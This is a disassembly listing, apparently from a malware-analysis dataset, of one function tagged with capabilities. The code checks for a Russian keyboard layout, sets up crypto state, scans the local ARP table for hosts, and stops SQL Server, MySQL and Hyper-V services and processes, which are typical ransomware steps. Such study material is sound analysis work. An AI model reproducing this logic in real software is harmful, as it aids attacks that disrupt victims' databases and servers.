Function at 0x404400
Capabilities:
Get keyboard layout
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x114
mov eax, dword [0x472128]
xor eax, esp
mov dword [esp + 0x110], eax
push ebx
push esi
mov esi, dword [ebp + 0x10]
lea eax, [esp + 0x54]
push edi
push eax
push 0x10
call dword [sym.imp.USER32.dll_GetKeyboardLayoutList]
xor ecx, ecx
test eax, eax
jle 0x404446
cmp byte [esp + ecx*4 + 0x58], 0x19
je 0x404441
inc ecx
cmp ecx, eax
jl 0x404433
jmp 0x404446
call fcn.004098b0
cmp byte [0x47bd70], 0
jne 0x4044c2
lea eax, [esp + 0xc]
push eax
call dword [sym.imp.USER32.dll_GetCursorPos]
lea eax, [esp + 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [esp + 0xc]
mov dword [esp + 0x14], eax
mov eax, dword [esp + 0x10]
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x50]
mov dword [esp + 0x1c], eax
mov eax, dword [esp + 0x54]
push 0x47bd78
mov dword [esp + 0x24], eax
call fcn.0040ab60
add esp, 4
test eax, eax
jne 0x4044c2
push 0x47bd78
lea eax, [esp + 0x18]
push 0x20
push eax
call fcn.0040acb0
add esp, 0xc
test eax, eax
jne 0x4044c2
push 0x47bd78
call fcn.0040ad30
add esp, 4
mov byte [0x47bd70], 1
cmp byte [0x47bd71], 0
jne 0x40455c
push 0x4554b8
call fcn.0040b690
add esp, 4
push 0x455670
call fcn.0040bfd0
add esp, 4
push str.sha1
call fcn.0040c070
add esp, 4
mov dword [0x472d5c], eax
push str.yarrow
call fcn.0040aae0
add esp, 4
mov dword [0x472d58], eax
push 0x46b318
call fcn.0040b650
add esp, 4
push 0x477880
call fcn.0040a720
add esp, 4
push 0x477880
call fcn.0040a8a0
add esp, 4
push 0x48028c
push 0x226
push 0x472b30
call fcn.0040b430
add esp, 0xc
mov dword [0x4802b0], 0x14
mov byte [0x47bd71], 1
call fcn.004036b0
mov ecx, 0x46b008
mov eax, esi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40458e
test dx, dx
je 0x40458a
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40458e
add eax, 4
add ecx, 4
test dx, dx
jne 0x404568
xor eax, eax
jmp 0x404593
sbb eax, eax
or eax, 1
test eax, eax
jne 0x4045a1
call fcn.00404160
jmp 0x404a6f
mov ecx, str.netscan
mov eax, esi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x4045ce
test dx, dx
je 0x4045ca
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x4045ce
add eax, 4
add ecx, 4
test dx, dx
jne 0x4045a8
xor eax, eax
jmp 0x4045d3
sbb eax, eax
or eax, 1
test eax, eax
jne 0x40470c
xorps xmm0, xmm0
mov dword [esp + 0x4c], eax
push eax
push eax
movlpd qword [esp + 0x24], xmm0
movlpd qword [esp + 0x2c], xmm0
movlpd qword [esp + 0x34], xmm0
movlpd qword [esp + 0x3c], xmm0
movlpd qword [esp + 0x44], xmm0
movlpd qword [esp + 0x4c], xmm0
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
call fcn.00407150
mov dword [esp + 0x14], eax
lea eax, [esp + 0x1c]
push 2
push eax
call fcn.0042004a
push 0x60
lea eax, [esp + 0x64]
mov byte [esp + 0x58], 0
push 0
push eax
call fcn.00438710
add esp, 0x14
lea eax, [esp + 0x5c]
push eax
call fcn.0041f3f2
add esp, 4
lea eax, [esp + 0x84]
push 2
push eax
call fcn.0042004a
add esp, 8
lea eax, [esp + 0x14]
lea ecx, [esp + 0x58]
push 8
push eax
call fcn.004020e0
mov esi, dword [sym.imp.IPHLPAPI.DLL_GetIpNetTable]
lea eax, [esp + 0xc]
push 0
push eax
push 0
mov dword [esp + 0x18], 0
call esi
cmp eax, 0x7a
jne 0x4046d3
push dword [esp + 0xc]
call fcn.0043d0a4
add esp, 4
mov ebx, eax
lea eax, [esp + 0xc]
push 0
push eax
push ebx
call esi
test eax, eax
jne 0x4046ca
test ebx, ebx
je 0x4046d3
xor edi, edi
cmp dword [ebx], edi
jbe 0x4046ca
lea esi, [ebx + 0x14]
cmp dword [esi + 4], 3
jne 0x4046c2
mov ecx, dword [esi]
lea edx, [esp + 0x14]
call fcn.004032f0
inc edi
add esi, 0x18
cmp edi, dword [ebx]
jb 0x4046b1
push ebx
call fcn.0043c6bb
add esp, 4
mov byte [esp + 0x4c], 1
lea ecx, [esp + 0x58]
call fcn.00402310
lea eax, [esp + 0x84]
push eax
call fcn.0041ffee
add esp, 4
lea eax, [esp + 0x5c]
push eax
call fcn.0041f3a7
add esp, 4
lea ecx, [esp + 0x14]
call fcn.00404090
jmp 0x404a6f
mov ecx, str.local
mov eax, esi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x404739
test dx, dx
je 0x404735
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x404739
add eax, 4
add ecx, 4
test dx, dx
jne 0x404713
xor eax, eax
jmp 0x40473e
sbb eax, eax
or eax, 1
test eax, eax
jne 0x40474c
call fcn.00403620
jmp 0x404a6a
mov ecx, str.stop
mov eax, esi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x404779
test dx, dx
je 0x404775
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x404779
add eax, 4
add ecx, 4
test dx, dx
jne 0x404753
xor eax, eax
jmp 0x40477e
sbb eax, eax
or eax, 1
test eax, eax
jne 0x40478c
call fcn.00403620
jmp 0x404a74
mov ecx, esi
call fcn.00403590
mov edi, eax
cmp edi, 0xffffffff
je 0x404850
xorps xmm0, xmm0
mov dword [esp + 0x4c], 0
push 0
push 0
movlpd qword [esp + 0x24], xmm0
movlpd qword [esp + 0x2c], xmm0
movlpd qword [esp + 0x34], xmm0
movlpd qword [esp + 0x3c], xmm0
movlpd qword [esp + 0x44], xmm0
movlpd qword [esp + 0x4c], xmm0
mov dword [esp + 0x1c], 0
mov dword [esp + 0x20], 0
call fcn.00407150
mov dword [esp + 0x14], eax
lea eax, [esp + 0x1c]
push 2
push eax
call fcn.0042004a
lea edx, [esp + 0x1c]
mov byte [esp + 0x54], 0
mov ecx, edi
call fcn.004032f0
push 0x60
lea eax, [esp + 0x64]
mov byte [esp + 0x58], 1
push 0
push eax
call fcn.00438710
add esp, 0x14
lea eax, [esp + 0x5c]
push eax
call fcn.0041f3f2
add esp, 4
lea eax, [esp + 0x84]
push 2
push eax
call fcn.0042004a
add esp, 8
lea eax, [esp + 0x14]
lea ecx, [esp + 0x58]
push 8
push eax
call fcn.004020e0
jmp 0x4046d8
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x404855
sub ecx, edx
sar ecx, 1
je 0x4049e8
mov ecx, esi
mov dword [esp + 0x24], 0
xor eax, eax
mov dword [esp + 0x28], 7
mov word [esp + 0x14], ax
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x404886
sub ecx, edx
sar ecx, 1
push ecx
push esi
lea ecx, [esp + 0x1c]
call fcn.00406390
xorps xmm0, xmm0
mov dword [esp + 0x90], 0
push 0
push 0
movlpd qword [esp + 0x68], xmm0
movlpd qword [esp + 0x70], xmm0
movlpd qword [esp + 0x78], xmm0
movlpd qword [esp + 0x80], xmm0
movlpd qword [esp + 0x88], xmm0
movlpd qword [esp + 0x90], xmm0
mov dword [esp + 0x60], 0
mov dword [esp + 0x64], 0
call fcn.00407150
mov dword [esp + 0x58], eax
lea eax, [esp + 0x60]
push 2
push eax
call fcn.0042004a
add esp, 8
mov byte [esp + 0x90], 0
lea eax, [esp + 0x14]
lea ecx, [esp + 0x58]
push eax
call fcn.00402020
push 0x60
lea eax, [esp + 0xc0]
mov byte [esp + 0x94], 1
push 0
push eax
call fcn.00438710
add esp, 0xc
lea eax, [esp + 0xc0]
push eax
call fcn.0041f3f2
add esp, 4
lea eax, [esp + 0xe8]
push 2
push eax
call fcn.0042004a
add esp, 8
lea eax, [esp + 0x58]
lea ecx, [esp + 0xbc]
push 4
push eax
call fcn.004020e0
lea ecx, [esp + 0xbc]
call fcn.00402310
lea eax, [esp + 0xe8]
push eax
call fcn.0041ffee
add esp, 4
lea eax, [esp + 0xc0]
push eax
call fcn.0041f3a7
add esp, 4
lea ecx, [esp + 0x58]
call fcn.00404090
mov edx, dword [esp + 0x28]
cmp edx, 8
jb 0x404a6f
mov ecx, dword [esp + 0x14]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4049d9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x404a8d
push edx
push ecx
call fcn.00421514
add esp, 8
jmp 0x404a6f
mov edx, str.MySQL
call fcn.00409760
mov edx, str.MySQL80
call fcn.00409760
mov edx, str.MSSQLSERVER
call fcn.00409760
mov edx, str.SQLWriter
call fcn.00409760
mov edx, str.MSDTC
call fcn.00409760
mov edx, str.SQLBrowser
call fcn.00409760
mov ecx, str.sqlservr.exe
call fcn.004096d0
mov ecx, str.sqlwriter.exe
call fcn.004096d0
mov ecx, str.msdtc.exe
call fcn.004096d0
mov ecx, str.sqlbrowser.exe
call fcn.004096d0
mov ecx, str.vmwp.exe
call fcn.004096d0
mov ecx, str.vmsp.exe
call fcn.004096d0
mov ecx, str.vmms.exe
call fcn.004096d0
call fcn.00403df0
call fcn.004098b0
mov ecx, dword [esp + 0x11c]
xor eax, eax
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00421234
mov esp, ebp
pop ebp
ret 0x10
call fcn.0043d054
int3